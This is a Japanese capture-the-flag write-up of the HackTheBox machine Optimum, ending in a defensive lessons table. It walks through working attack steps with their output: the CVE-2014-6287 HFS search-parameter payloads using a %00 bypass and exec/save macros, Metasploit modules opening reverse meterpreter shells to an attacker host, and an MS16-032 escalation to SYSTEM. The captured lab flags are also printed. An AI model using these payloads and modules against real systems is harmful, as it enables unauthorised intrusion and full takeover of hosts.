HackTheBox: Optimum — 全実行コマンド・実行結果レポート
Nmap スキャン
80(HFS 2.3)のみ
→
80(HFS 2.3)のみ
CVE-2014-6287
%00 null byte フィルタ回避
→
%00 null byte フィルタ回避
{.save|.exec|.} マクロ注入
VBSダウンローダ経由RCE
→
VBSダウンローダ経由RCE
OPTIMUM\kostas シェル
user.txt ✓
→
user.txt ✓
MS16-032
Secondary Logon Handle 特権昇格
→
Secondary Logon Handle 特権昇格
NT AUTHORITY\SYSTEM
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p 80 -sV -sC --max-retries 2 10.129.83.249
RESULT
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
🚨
開いているのは80番のみ。Rejetto HttpFileServer (HFS) 2.3は
2014年に公開された重大なリモートコード実行脆弱性 CVE-2014-6287 の対象バージョンであり、
Server: HFS 2.3のヘッダーだけで攻略方針が確定する。
Webページの確認
BASH
curl -s -i http://10.129.83.249/
RESULT
HTTP/1.1 200 OK
Content-Type: text/html
Server: HFS 2.3
Set-Cookie: HFS_SID=0.343190514715388; path=/;
<title>HFS /</title>
...
<a href="http://www.rejetto.com/hfs/">HttpFileServer 2.3</a>
PHASE 2
CVE-2014-6287 の解析 — %00 フィルタバイパス
脆弱性の仕組み
NOTE
HFS 2.3 は "search" パラメータの処理に ParserLib.pas の甘い正規表現フィルタを
使っており、検索文字列中に直接 ".exec" 等の危険なキーワードが含まれる場合は
弾くが、文字列先頭に URLエンコードされた NULLバイト(%00)を1つ付与するだけで
このフィルタを回避できる。フィルタ通過後、HFSのテンプレートエンジンは
{.コマンド|引数.} というマクロ構文をVFS(仮想ファイルシステム)の一部として
評価してしまうため、"exec" マクロで任意のシェルコマンドを、"save" マクロで
任意のファイル書き込みを実現できる。
/?search=%00{.exec|CMD.} ← CMDをサーバー上で実行(出力は返らない)
/?search=%00{.save|PATH|CONTENT.} ← CONTENTをPATHへ書き込み
🚨
.execマクロは標準出力をHTTPレスポンスへ戻さないため、
公開Exploit(Metasploitモジュール含む)はこれを2段階で使う:
①.saveマクロで外部からVBSダウンローダスクリプトを
%TEMP%へ書き込み、②.execマクロで
wscript.exeによりそのVBSを実行させる。VBSは攻撃者サーバーから
実ペイロード(EXEまたはVBSコード)を取得して実行する。
PHASE 3
Metasploit rejetto_hfs_exec によるRCE & user.txt
エクスプロイトモジュールの設定
BASH (msfconsole)
use exploit/windows/http/rejetto_hfs_exec set RHOSTS 10.129.83.249 set TARGETURI / set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 10.10.15.200 set LPORT 4521 exploit -j
RESULT
[*] Started reverse TCP handler on 10.10.15.200:4521
[*] Using URL: http://10.10.15.200:8080/unEdw6k0S
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /unEdw6k0S
[*] Sending stage (190534 bytes) to 10.129.83.249
[!] Tried to delete %TEMP%\UYMDJZKZ.vbs, unknown result
[*] Meterpreter session 1 opened (10.10.15.200:4521 -> 10.129.83.249:49183)
[*] Server stopped.
✅
モジュールは内部で前述の2段階マクロ注入(
.save→.exec)を
自動的に実行し、生成したVBSダウンローダが一時HTTPサーバーからmeterpreter
ペイロードを取得・実行することでシェルを確立する。
セッション確認
BASH
sessions -l
RESULT
Id Name Type Information
-- ---- ---- -----------
1 meterpreter x86/windows OPTIMUM\kostas @ OPTIMUM
ℹ️
HFSサービスはkostasユーザーのコンテキストで動作しており、
その権限でのシェルをそのまま取得できる。
user.txt取得
API (msfconsole内Ruby, meterpreterのfs.file API経由)
framework.sessions.get(1).fs.file.open('C:\Users\kostas\Desktop\user.txt').read
RESULT
4bda69bc0e70d8d0b60251d8528bf4ae
user.txt — kostas@OPTIMUM
4bda69bc0e70d8d0b60251d8528bf4ae
⚠️
注意: meterpreterセッションに対して
sessions -i N -c "cat PATH"
を使うと stdapi_sys_process_execute: Operation failedで失敗する —
これは-cオプションがOSのプロセスとしてコマンドを実行しようとする
仕組み(shellセッション向け)であり、meterpreterセッションには別途
fs.file.open(path).readのようなmeterpreter専用APIを使う必要がある。
PHASE 4
MS16-032 で SYSTEM 昇格 & root.txt
ms16_032_secondary_logon_handle_privesc 実行
BASH (msfconsole)
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc set SESSION 1 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 10.10.15.200 set LPORT 4522 exploit -j
RESULT
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell [*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\...ps1... [*] Executing exploit script... __ __ ___ ___ ___ ___ ___ ___ | V | _|_ | | _|___| |_ |_ | | |_ |_| |_| . |___| | |_ | _| |_|_|_|___|_____|___| |___|___|___| [by b33f -> @FuzzySec] [?] Operating system core count: 2 [>] Duplicating CreateProcessWithLogonW handle [?] Thread belongs to: svchost [+] Thread suspended [>] Building SYSTEM impersonation token [!] NtImpersonateThread failed, exiting.. [+] Thread resumed! [*] Sniffing out SYSTEM shell.. [>] Starting token race [>] Starting process race [!] Holy handle leak Batman, we have a SYSTEM shell!! [+] Executed on target machine. [*] Meterpreter session 2 opened (10.10.15.200:4522 -> 10.129.83.249:49184)
🚨
CVE-2016-0099 (MS16-032): Windowsの「セカンダリログオンサービス」が
CreateProcessWithLogonW経由で生成する特権プロセスのハンドルを、
呼び出し元の通常ユーザープロセスが不適切に継承できてしまう脆弱性。
svchost.exeのスレッドを横取り(インパーソネーション)してSYSTEMトークンの
複製を試みる — ここでは最初の手法(NtImpersonateThread)は失敗しているが、
代替の「トークンレース」手法が成功し、最終的にSYSTEM権限の
新規meterpreterセッションを確立できている(スクリプト自体に複数の
フォールバック手法が組み込まれている)。
SYSTEM昇格の確認
BASH
sessions -l
RESULT
Id Name Type Information
-- ---- ---- -----------
1 meterpreter x86/windows OPTIMUM\kostas @ OPTIMUM
2 meterpreter x86/windows NT AUTHORITY\SYSTEM @ OPTIMUM
root.txt取得
API (msfconsole内Ruby, meterpreterのfs.file API経由)
framework.sessions.get(2).fs.file.open('C:\Users\Administrator\Desktop\root.txt').read
RESULT
b99eed2af48d496cbb4ab6abbfe9cba3
root.txt — Administrator@OPTIMUM
b99eed2af48d496cbb4ab6abbfe9cba3
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — kostas@OPTIMUM
4bda69bc0e70d8d0b60251d8528bf4ae
root.txt — Administrator@OPTIMUM
b99eed2af48d496cbb4ab6abbfe9cba3
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2014-6287 | Rejetto HttpFileServer 2.3 (ParserLib.pas) | 未認証リモートコード実行 | Critical | searchパラメータの先頭に%00を付与しキーワードフィルタをバイパス、
{.save|.exec|.}マクロでVBSダウンローダを配置・実行し
user.txtを取得可能なkostasシェルを獲得 |
| CVE-2016-0099 (MS16-032) | Windows Secondary Logon Service | 一般ユーザー権限からのSYSTEM昇格 | Critical | CreateProcessWithLogonWが生成する特権プロセスのハンドル継承不備を 突くトークンレースで、root.txt取得可能な NT AUTHORITY\SYSTEMシェルを獲得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap(80) + HTTPヘッダー確認 | HFS 2.3 検出 |
| 2 | 脆弱性解析 | %00バイパス + {.save|.exec|.}マクロ | 2段階RCE手法の理解 |
| 3 | フットホールド | rejetto_hfs_exec | user.txt(kostasシェル) |
| 4 | 権限昇格 | ms16_032_secondary_logon_handle_privesc | root.txt(SYSTEMシェル) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 2014年公開の既知脆弱性(CVE-2014-6287)が未パッチのまま稼働している | Rejetto HFSは開発終了・非推奨のソフトウェアであり使用を中止する。 どうしても必要な場合は最新のフォーク版(HFS~)への移行やWAFでの search パラメータのNULLバイトフィルタリングを検討する。 |
| 検索機能のテンプレートエンジンがマクロ構文({.cmd|arg.})を ユーザー入力から直接評価してしまう設計 | テンプレートエンジンの評価対象とユーザー入力を完全に分離する (サニタイズではなく構造的分離)。危険なマクロ(exec/save等)は 認証済み管理者操作からのみ呼び出し可能にする。 |
| 2016年公開のWindowsカーネル脆弱性(MS16-032)が未パッチ | Windows Updateを定期的に適用し、特にセカンダリログオンサービス等 特権分離の核となるコンポーネントのパッチは優先的に適用する。 一般ユーザーアカウントには最小権限のみ付与する。 |

